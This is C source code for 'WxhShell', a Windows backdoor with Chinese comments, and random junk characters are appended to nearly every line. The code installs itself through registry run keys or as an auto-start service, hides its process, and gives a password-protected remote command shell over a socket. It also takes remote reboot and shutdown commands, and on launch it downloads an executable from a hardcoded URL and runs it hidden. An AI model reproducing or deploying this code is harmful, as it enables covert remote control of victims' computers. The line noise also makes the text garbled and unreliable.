} 73~Mq7~8
}WGi9\9T&
if(!OsIsNt) { UKK}$B
// 如果时win9x，隐藏进程并且设置为注册表启动 M{kPEl&Z
HideProc(); 6sy%KO*A
StartWxhshell(lpCmdLine); F'CUkVC0~P
} >2syF{`j
else GIVs)~/Eq
if(StartFromService()) 8 (^2
// 以服务方式启动 >KY\Bx
StartServiceCtrlDispatcher(DispatchTable); >q &ouVE
else TjI NxP-O
// 普通方式启动 e+R.0E
StartWxhshell(lpCmdLine); xdo{4XY^*W
^y6Pkb P
return 0; MF\n@lX
} jX&&@zMq
\wRr6-!_
\>=YxB q
GvzPT2E!
=========================================== 8)POEY4
['km'5uZ^
}2c}y7B,_
b$R>GQ?#
, D1[}Lr=K
JNp`@`0V
" 4}LF>_+=
@B9|{[P
#include <stdio.h> x>8f#B\Mr
#include <string.h> T (2,iG8
#include <windows.h> y]jh*KD[
#include <winsock2.h> Mz++SPG7
#include <winsvc.h> ^Js9E
#include <urlmon.h> 3Xh&l[.
_TPo=}Z
#pragma comment (lib, "Ws2_32.lib") jATU b-
#pragma comment (lib, "urlmon.lib") H4:TYh
6$6NVq
#define MAX_USER 100 // 最大客户端连接数 omjLQp[%
#define BUF_SOCK 200 // sock buffer rFy9K4D
#define KEY_BUFF 255 // 输入 buffer Na~_=3+a
wO!hVm,Ta
#define REBOOT 0 // 重启 Y!7P>?)`,X
#define SHUTDOWN 1 // 关机 k(qQvn
g?$9~/h :;
#define DEF_PORT 5000 // 监听端口 }"&(sYQ*`
Ro1' L1:
#define REG_LEN 16 // 注册表键长度 ^,KR0
#define SVC_LEN 80 // NT服务名长度 FoG<$9
5nj~RUK
// 从dll定义API F{"%ey">
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BkZ%0rw%
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xRY5[=97
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t!u*6W|@
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'j3'n0o
P~qVr#eU
// wxhshell配置信息 &"kx(B
struct WSCFG { 0 j.Sb2
int ws_port; // 监听端口 {PVu3W
char ws_passstr[REG_LEN]; // 口令 ,){0y%c#y
int ws_autoins; // 安装标记, 1=yes 0=no $Tur"_`I;
char ws_regname[REG_LEN]; // 注册表键名 .E}});l
char ws_svcname[REG_LEN]; // 服务名 aXJe"IT.u
char ws_svcdisp[SVC_LEN]; // 服务显示名 Y@4vQm+
char ws_svcdesc[SVC_LEN]; // 服务描述信息 rka:.#!
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UA8!?r-cR
int ws_downexe; // 下载执行标记, 1=yes 0=no h@DJ/&;u@
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V0AX1?H~w
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >ATW/9r
kxmS
}; |K_B{v.
$($SQZK&
// default Wxhshell configuration 6'%]6"&M4
struct WSCFG wscfg={DEF_PORT, e"CLhaT
"xuhuanlingzhe", +-nQ, fOV
1, ,pASjFWi
"Wxhshell", Ax^'unfQ:
"Wxhshell", Ji!-G4.n"
"WxhShell Service", 1%@~J\qF
"Wrsky Windows CmdShell Service", tQ~B!j]
"Please Input Your Password: ", ~ 9;GD4
1, _-&.=3\1
"http://www.wrsky.com/wxhshell.exe", IID(mmy6 L
"Wxhshell.exe" 'AAY!{>
}; f5a](&
Xp~]kRm9
// 消息定义模块 ;gMh]$|"
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "P{&UwMmh
char *msg_ws_prompt="\n\r? for help\n\r#>"; Xdq, =;
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *YtNt5u
char *msg_ws_ext="\n\rExit."; B~NC
char *msg_ws_end="\n\rQuit."; ~/U0S.C
char *msg_ws_boot="\n\rReboot..."; dc>y7$2
char *msg_ws_poff="\n\rShutdown..."; ~tLR
char *msg_ws_down="\n\rSave to "; _'7/99]4g}
*02( J
char *msg_ws_err="\n\rErr!"; W*<]`U_.
char *msg_ws_ok="\n\rOK!"; <C$<(Dw5
jyGVbno`
char ExeFile[MAX_PATH]; E%^28}dN
int nUser = 0; yx2.7h3
HANDLE handles[MAX_USER]; }SV3PdE
int OsIsNt; 6\3k0z
[KH?5C
SERVICE_STATUS serviceStatus; DOerSh_0W
SERVICE_STATUS_HANDLE hServiceStatusHandle; S0+zq<
upDQNG>d
// 函数声明 u,m-6@il
int Install(void); 1955(:I
int Uninstall(void); JLu0;XVK
int DownloadFile(char *sURL, SOCKET wsh); Ln_l>X6j51
int Boot(int flag); ^PQV3\N
void HideProc(void); _")h %)f
int GetOsVer(void); |&Pl4P
int Wxhshell(SOCKET wsl); m=MT`-:
void TalkWithClient(void *cs); BB.TrQM.#
int CmdShell(SOCKET sock); a+/|O*>#
int StartFromService(void); X6.O;
int StartWxhshell(LPSTR lpCmdLine); :xPvEK[B7
w4'K2 7
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qYiAwK$
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r(i)9RI+(
4c=kT@=jX
// 数据结构和表定义 (@E#O$'
SERVICE_TABLE_ENTRY DispatchTable[] = {{3H\ rR
{ S7a6ntei
{wscfg.ws_svcname, NTServiceMain}, C):d9OI?
{NULL, NULL} y^=oYL
}; @WHd(ka!
5S]P#8
// 自我安装 `5-#M/J
int Install(void) FA9e(Ha
{ aELT"b,x
char svExeFile[MAX_PATH]; h!K2F~i{P
HKEY key; ['emP1g~
strcpy(svExeFile,ExeFile); %h"< IA S.
({KAh?
// 如果是win9x系统，修改注册表设为自启动 dCP Tpm
if(!OsIsNt) { qm=F6*@}
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0xUj#)
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @izi2ND
RegCloseKey(key); Q)BoWd
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j dhml%pAd
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -C ON
RegCloseKey(key); )6E*Qz
return 0; KN:dm!A
} :EwA$`/
} %_MR.J+m2
} oRThJB
else { [7 `Dgnmq
}pnFJ
// 如果是NT以上系统，安装为系统服务 xqWrW)
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,?<h] !aQ
if (schSCManager!=0) M3@fc,Ch
{ Kw0V4UF
SC_HANDLE schService = CreateService 0~b6wuFl
( ev%t5NZ
schSCManager, MD4 j~q\g
wscfg.ws_svcname, 1IQOl
wscfg.ws_svcdisp, +Z&&H'xD
SERVICE_ALL_ACCESS, z%3"d0
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , = )l:^+q
SERVICE_AUTO_START, "!Oh#Vf
SERVICE_ERROR_NORMAL, oHXW])[
svExeFile, UUf1T@-
NULL, aE+$&_>ef
NULL, .cS,T<$
NULL, 0aTbzOn&
NULL, Cn;H@!8<s
NULL SE9u2Jk
); @GZa:(
if (schService!=0) ~oA9+mT5
{ }t D!xI;
CloseServiceHandle(schService); 8N* -2/P&
CloseServiceHandle(schSCManager); 5rA!VES T
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wu!_BCIy
strcat(svExeFile,wscfg.ws_svcname); OO\biYh o
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p:<gFZb
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JJ9e{~0I
RegCloseKey(key); "8iiRzt#
return 0; O"qa&3t%
} VgsCwJ9w
} 2<o[@w
CloseServiceHandle(schSCManager); [G[{l$Eit
} O|OSE
} a^\- }4yR
8wpwJs&V
return 1; @~#79B"9&
} AzO3(1:
Ky9No"o
// 自我卸载 XBWSO@M'
int Uninstall(void) O4d^ig-xaH
{ xDA,?i;T 0
HKEY key; f+TBs_
JeTrMa2
if(!OsIsNt) { Hrg=sR
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -~O;tJF2
RegDeleteValue(key,wscfg.ws_regname); 9g&)6,<
RegCloseKey(key); tct5*.|
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =PKt09b^
RegDeleteValue(key,wscfg.ws_regname); <x0uO
RegCloseKey(key); @7l=+`.i
return 0; kYA'PW/[)
} 2mG&@E
} hXQg=Sj
} ?^48Zq6wM
else { N7$DRG/<b
C*y6~AYN#
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r< ?o}Qq
if (schSCManager!=0) O{ %A&Ui
{ F{*9[jY
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1|~#028
if (schService!=0) 5lHN8k=mm2
{ H&yFSz}6a
if(DeleteService(schService)!=0) { ~b$z\|Y
CloseServiceHandle(schService); xL39>PB
CloseServiceHandle(schSCManager); A.$VM#
return 0; RZ)vU'@kx
} 1f@U:<:
CloseServiceHandle(schService); uWR,6\_jY
} HDSA]{:sl
CloseServiceHandle(schSCManager); bV )PT`-,
} J!A/r<
} 34m']n
Q9eYF-+
return 1; f}lT|.)?VD
} DA4edFAuE
jWv3O&+?X
// 从指定url下载文件 {GX &)c4
int DownloadFile(char *sURL, SOCKET wsh) !|Xl 8lV`
{ :L [YmZ
HRESULT hr; )kL`&+#>
char seps[]= "/"; Jp.3KA>
char *token; >xU72l#5
char *file; lN)Y
char myURL[MAX_PATH]; k;K> ,$F
char myFILE[MAX_PATH]; xu"94y+
0XR;5kd%
strcpy(myURL,sURL); liCCc;&B;
token=strtok(myURL,seps); RQ*|+~H
while(token!=NULL) 0+n&BkS'
{ 7SA-OFM
file=token; TRySl5jx@
token=strtok(NULL,seps); :_fjml/
} p;n3`aVh
XC7Ty'#"KX
GetCurrentDirectory(MAX_PATH,myFILE); n $O.>
strcat(myFILE, "\\"); +9 16ZPk
strcat(myFILE, file); qUEd E`B
send(wsh,myFILE,strlen(myFILE),0); iJdrY6qd
send(wsh,"...",3,0); EG(`E9DZ
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^:cb $9F
if(hr==S_OK) wv7p,9Z[
return 0; OXIu>jF
else yd0=h7s
return 1; _>jrlIfc
;9p#xW6
} =q"w2b&
[$1: &!(!
// 系统电源模块 {m_A1D/_
int Boot(int flag) [U%ym{be^
{ je- ,S>U
HANDLE hToken; @Hspg^
TOKEN_PRIVILEGES tkp; F= _uNq
Cz=A{<^g
if(OsIsNt) { |c06ix;).
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {FV,j.D
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vB{;N
tkp.PrivilegeCount = 1; .-('C> @
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k7yv>iN
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }sTH.%
if(flag==REBOOT) { (E"&UC[
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u@=+#q~/P
return 0; Q*09E
} ;1*m}uNz
else { =9;[C:p0-
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XI@6a9Uk
return 0; ]=?X*,'
} PS_3Oq)
} gtaV6sD
else { Qm35{^p+
if(flag==REBOOT) { G|QUujl
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #L@} .Giz
return 0; pW*{Mx
} vi[#?;pkF
else { 1R'u v4e
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gZ`32fB%
return 0; Gsds!z$
} q:`77
} pgz:F#>
klK-,J
return 1; #;\L,a|>*
} p|&ZJ@3
vHs>ba$"
// win9x进程隐藏模块 0%;N9\
void HideProc(void) Cbgj@4H
{ a' IX yj
71k!k&Im
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )CC?vV
if ( hKernel != NULL ) 5`4}A%@&
{ !p]T6_t]Q
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %|:;Ti
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;=5@h!@R
FreeLibrary(hKernel); Qa,NGP.
} itqQ)\W
90
return; 1KeJd&e
} 763E 6,7
NqiB8hZ~
// 获取操作系统版本 JwN}Jm
int GetOsVer(void) #d}0}7ue
{ nuf@}W>y
OSVERSIONINFO winfo; Q `e~MD
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >:w?qEaE
GetVersionEx(&winfo); jgk{'_ j
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `FZ(#GDF
return 1; K)<Wm,tON
else b\SXZN)Be
return 0; Gkdm7SV
} Zvd ;KGO(a
Y5nz?a
// 客户端句柄模块 VKq0<+M
int Wxhshell(SOCKET wsl) $Nj'OJSj%
{ 8q_1(& O
SOCKET wsh; r5f^WZ$-
struct sockaddr_in client; +IwdMJ8&8
DWORD myID; qg^(w fI
@rPI$ia1~
while(nUser<MAX_USER) I#i?**
{ e%PCe9
int nSize=sizeof(client); mDb-=[W5
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Jz~+J*r;]A
if(wsh==INVALID_SOCKET) return 1; kmZ.U>#
+\+Uz!YS
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); th5,HO~
if(handles[nUser]==0) *e(:["v
closesocket(wsh); T&o,I
else m(2G*}
nUser++; j`>?"1e@x
} fUb1/-}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,]0S4h67
17e=GL
return 0; Na\3.:]z
} Oamv9RyDvC
4 hL`=[AB
// 关闭 socket hNH.G(l0
void CloseIt(SOCKET wsh) *,E;
{ kxwNbxC
closesocket(wsh); eeZIa`.sX
nUser--; 3CA|5A.Pa
ExitThread(0); RxlszyE
} Zw2jezP@t
fp9rO}##
// 客户端请求句柄 W\HLal
void TalkWithClient(void *cs) ;l$9gD>R
{ uK$=3[;U/!
dVvZu% DFp
SOCKET wsh=(SOCKET)cs; 9OPK4-
char pwd[SVC_LEN]; v2IEJ
char cmd[KEY_BUFF]; 5iP8D<;o5
char chr[1]; bBA$}bv
int i,j; J2rvJ2l=t
j%#?m2J}
while (nUser < MAX_USER) { P;j&kuW|zL
:lgHL3yl
if(wscfg.ws_passstr) { EC<5M5Lc
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $kD7y5
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EY So=
//ZeroMemory(pwd,KEY_BUFF); 7rH'1U
i=0; [:Be[pLC
while(i<SVC_LEN) { IbF4k.J
U$A/bEhw
// 设置超时 x:p}w[WM
fd_set FdRead; DP|TIt,Rl
struct timeval TimeOut; "]v uD
FD_ZERO(&FdRead); I%SuT7"Do
FD_SET(wsh,&FdRead); I4rV5;f H4
TimeOut.tv_sec=8; ojX%RU
TimeOut.tv_usec=0; NPS.6qY
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yb69Q#V2
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k69kv9v@J
~D*b3K8X
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <'W=]IAV
pwd=chr[0]; v}Z9+ yRC2
if(chr[0]==0xd || chr[0]==0xa) { [w,(EE
pwd=0; +yGY785b
break; p=2zS.
} =D{B}=D\IM
i++; }I\-HP8!gv
} :=y0'f V(@
Dzo{PstM%
// 如果是非法用户，关闭 socket e"*BHvy F
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R_7 6W&
} S)+CTVVE
tL1P<1j_
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~ W@X-
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )^&,Dj
J`W-]3S#
while(1) { A1Ka(3"
"t=UX -3
ZeroMemory(cmd,KEY_BUFF); &D]&UQf
FtN}]@F
// 自动支持客户端 telnet标准 5!tb$p#z
j=0; 10?qjjb&
while(j<KEY_BUFF) { !z?0 :Jg
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .xEJaID\N
cmd[j]=chr[0]; AfN&n= d K
if(chr[0]==0xa || chr[0]==0xd) { ,6DD=w0r
cmd[j]=0; }~rcrm.
break; /oFc03d
} *_PPrx5
j++; m#*h{U$
} ("OAPr\2dw
vm|!{5l:=y
// 下载文件 W,DZ ;).%
if(strstr(cmd,"http://")) { eI0F!Yon
send(wsh,msg_ws_down,strlen(msg_ws_down),0); MO-!TZ+6
if(DownloadFile(cmd,wsh)) _AprkI_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mGO>""<:
else wDMjk2YN
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ssw&'B|o
} *o!l/>4g
else { 6%E~p0)i%
nx B32
switch(cmd[0]) { Q{[@`bZB
Lbsr_*4t
// 帮助 9^au$KoU
case '?': { F;pQ\Y
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zFywC-my@
break; , |l@j%
} wYjQV?,
// 安装 ~H u"yAR
case 'i': { f|#8qiUS
if(Install()) Fom>'g*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z["BgEJ
else Pr`s0J%m
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \"'\MA
break; z{|LQt6q
} >ukQ, CE~
// 卸载 (')(d HHW
case 'r': { 8aZ$5^z
if(Uninstall()) Pxqiv9D<R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =-Nsc1&
else ;\x~'@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wdwp9r
break; L7}i q0
} nVXg,Jl
// 显示 wxhshell 所在路径 :Jk33 N4y0
case 'p': { 7TpRCq#
char svExeFile[MAX_PATH]; Ig9d#c
strcpy(svExeFile,"\n\r"); g_vm&~U/'
strcat(svExeFile,ExeFile); GD&htob(
send(wsh,svExeFile,strlen(svExeFile),0); ZE rdt:w
break; CU$)QH{
} #9\THfb
// 重启 q$T8bh,2
case 'b': { 4sIXO
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NI.`mc6Xd
if(Boot(REBOOT)) {fU?idY)c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qp&4 1
else { `|EH[W&y
closesocket(wsh); '_0
ExitThread(0); 5ITq?%{M
} ^)0 9OV+hF
break; 5kn+ >{jh`
} |1Hc&
// 关机 0% +'
case 'd': { :6D0j
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !y. $J<
if(Boot(SHUTDOWN)) iP#=:HZu;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aMJ;bQD
else { W#{la`#Bu
closesocket(wsh); h/K@IAd
ExitThread(0); .$0Pr%0pWI
} C ) ?uE'
break; Kt6>L5:94
} c`jDW S
// 获取shell % O%xpSYr
case 's': { YB5dnS"n
CmdShell(wsh); \bold"
closesocket(wsh); 3D_"yZ
ExitThread(0); ){ gAj
break; M{E{NK
} NXI[q'y
// 退出 hcyO97@r
case 'x': { S-!=NX&C
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [l*;E f,
CloseIt(wsh); mU@xcN
break; >DP:GcTG
} 3=- })X;
// 离开 !re1EL
case 'q': { `!i-#~n
send(wsh,msg_ws_end,strlen(msg_ws_end),0); [/$N!2'5
closesocket(wsh); RJ}#)cT
WSACleanup(); X;!~<~@Y
exit(1); !` 26\@1
break; y@;%Uv&
} Jhy(x1%
} OipqoI2
} 6(KmA-!b(O
URw5U1
// 提示信息 K9|7dvzC:
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); af'@h:
} *aRX \TnN
} < kP+eD
d#>y}H9
return; &z@~B&O
} nIBFk?)6
>qh?L#Fk
// shell模块句柄 Cv^`&\[SW+
int CmdShell(SOCKET sock) 6ep>hS4A&
{ Yb:pAzw6
STARTUPINFO si; :(p)1=I
ZeroMemory(&si,sizeof(si)); r}W2Ak\
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8\Hr5FqB(
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +S9PML){h
PROCESS_INFORMATION ProcessInfo; 8omC%a}9m
char cmdline[]="cmd"; 2"&)W dm
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zOB=aG?/
return 0; A'-_TFwW
} Ik~1:D]f
Fn+?u
// 自身启动模式 v}[dnG
int StartFromService(void) DDeE(E
{ F]_cbM{8/
typedef struct a$JLc a
{ `hrQw)5?r
DWORD ExitStatus; XvKFPr0~
DWORD PebBaseAddress; GwLFL.Ke
DWORD AffinityMask; o#D.9K(
DWORD BasePriority; JhX=l-?
ULONG UniqueProcessId; yI)~]K r
ULONG InheritedFromUniqueProcessId; VKW|kU7Cs$
} PROCESS_BASIC_INFORMATION; s>%Pd7:
T):SGW
PROCNTQSIP NtQueryInformationProcess; Uyx&E?SlEq
,t,wy37*D
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *b)Q5dw@1
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x0Z5zV9
*#&*`iJ(
HANDLE hProcess; YZE.@Rz
PROCESS_BASIC_INFORMATION pbi; |vILp/"9=W
%*W<vu>H
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 50~K,Jx6B
if(NULL == hInst ) return 0; ^gYD*K!*
CxF-Z7 '
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gEJi[E@
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _[K#O,D,
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z`U Ukl}T
c`G&KCw)d
if (!NtQueryInformationProcess) return 0; '2nqHX D
e3m*i}K}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A3{0q>CC
if(!hProcess) return 0; ziEz.Wn"
'&yeQ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jbmTmh1q
Y(6Sp'0
CloseHandle(hProcess); ..<3%fL3
XL5Es:"+?S
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]}PV"|#K{c
if(hProcess==NULL) return 0; H0*,8i5I
@pza>^wk
HMODULE hMod; JPx7EEkZR4
char procName[255]; v:|(8Y
unsigned long cbNeeded; )qU7`0'8
(@sp/:`6
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R,_d1^|*w
>e&:`2%.
CloseHandle(hProcess); -?a<qa?$
6Bt=^~d
if(strstr(procName,"services")) return 1; // 以服务启动 <4`eQ
-1r2K
return 0; // 注册表启动 +K$NAT
} [QczlwmO
*"{&FEV
// 主模块 x?yD=Mq_
int StartWxhshell(LPSTR lpCmdLine) XbXA+ey6
{ G^Tk 20*
SOCKET wsl; Ru\_dr2yI}
BOOL val=TRUE; kQv*eZ~
int port=0; !Pj/7JC0
struct sockaddr_in door; }1H=wg>\
xUWr}j4;
if(wscfg.ws_autoins) Install(); xN"Z1n7t
b=[?b+
port=atoi(lpCmdLine); 0$vj!-Mb^j
E~hzh /,34
if(port<=0) port=wscfg.ws_port; 6oL1_)
Mi7y&~,
WSADATA data; (ywo a
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #-#NqX:
Qx`~g,wk8
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !|G(Yg7C
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Iy7pt~DJ,
door.sin_family = AF_INET; k(s;,B\
door.sin_addr.s_addr = inet_addr("127.0.0.1"); O8u3y
door.sin_port = htons(port); Om'(mr
uB.-t^@
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^]c6RE_
closesocket(wsl); tj1JB%
return 1; Ug"rJMZG
} !.HnGb+
g!J0L7i|
if(listen(wsl,2) == INVALID_SOCKET) { /Z%>ArAx
closesocket(wsl); I!:z,t<
return 1; i+vsp@d
} u<tk G B
Wxhshell(wsl); ; y.E!
WSACleanup(); \gO,hST
TH1B#Y#<J
return 0; {rH9grb
GG6%bF
} edC4BHE
kODK@w V-
// 以NT服务方式启动 n \G Ry'
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $1Nd_pD=
{ 8<#U9]
DWORD status = 0; )NW6?Pu"
DWORD specificError = 0xfffffff; ]<w:V`(
5\4g>5PD
serviceStatus.dwServiceType = SERVICE_WIN32; =hH.zrI6e
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5z/Er".P
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )mN9(Ob!
serviceStatus.dwWin32ExitCode = 0; fnu"*5bE
serviceStatus.dwServiceSpecificExitCode = 0; sq0 PBEqq
serviceStatus.dwCheckPoint = 0; <G3&z#]#4
serviceStatus.dwWaitHint = 0; uOi&G:=
`S/wJ'c
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +5p{5 q(o
if (hServiceStatusHandle==0) return; "4xfrlOc
P9Q2gVGAO{
status = GetLastError(); 6LUC!Sh
if (status!=NO_ERROR) DPHQ,dkp
{ ^>$P)=O:v
serviceStatus.dwCurrentState = SERVICE_STOPPED; <,%:
serviceStatus.dwCheckPoint = 0; `iG,H[t+j
serviceStatus.dwWaitHint = 0; VM=+afY5M
serviceStatus.dwWin32ExitCode = status; D&:yMp(
serviceStatus.dwServiceSpecificExitCode = specificError; o4^Fo p
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @e2}BhB2
return; x^=M6;:
} 12`_;[37
v> z@
serviceStatus.dwCurrentState = SERVICE_RUNNING; P&A|PY,P
serviceStatus.dwCheckPoint = 0; 7*H:Ob)9k
serviceStatus.dwWaitHint = 0; e;95a
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xK%=
} 9uB(Mx(-:`
\c`oy=qY0
// 处理NT服务事件，比如：启动、停止 Es5p}uh.[Y
VOID WINAPI NTServiceHandler(DWORD fdwControl) ra7uU*
{ qv{o|g QB
switch(fdwControl) j6}R7$JR
{ ZU&"73
case SERVICE_CONTROL_STOP: x%> e)L<
serviceStatus.dwWin32ExitCode = 0; 90N`CXas
serviceStatus.dwCurrentState = SERVICE_STOPPED; mj,fp2D;%
serviceStatus.dwCheckPoint = 0; '?*g%Yuz
serviceStatus.dwWaitHint = 0; j -O2aL
{ KpiF0K
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =bt]JRU
} >`T5]_a
return; ]> !<G8=N
case SERVICE_CONTROL_PAUSE: h1"zV6U
serviceStatus.dwCurrentState = SERVICE_PAUSED; J{"kw1Lu
break; b!>\2DlyJ
case SERVICE_CONTROL_CONTINUE: Vd9@Dy
serviceStatus.dwCurrentState = SERVICE_RUNNING; <eN R8(P
break; ik,lSTBD
case SERVICE_CONTROL_INTERROGATE: $a;]_Y
break; $ItF])Bj5N
}; "E=j|q
SetServiceStatus(hServiceStatusHandle, &serviceStatus); L#h:*U{@40
} JcO08n
B/uniR^x
// 标准应用程序主函数 m>&HuHf
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~4,I7c7
{ ><?BqRm+
|BU+:+
// 获取操作系统版本 K`:=]Z8
OsIsNt=GetOsVer(); <I*x0BM=
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q}AE.Ef@<
uZ6d35MJ
// 从命令行安装 /'DwfX
if(strpbrk(lpCmdLine,"iI")) Install(); wwd'0P`/
2h^WYpCm
// 下载执行文件 e&It
if(wscfg.ws_downexe) { I?!rOU=0
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -0HkTY
WinExec(wscfg.ws_filenam,SW_HIDE); 5ua?I9fY
} ,5k-.Md>2*
(X[2TT3j!
if(!OsIsNt) { [\ )Ge
// 如果时win9x，隐藏进程并且设置为注册表启动 3NK ^AaTK
HideProc(); q`|CrOzO
StartWxhshell(lpCmdLine); $6f\uuTU2"
} D$k8^Vs
else vFmJ;J
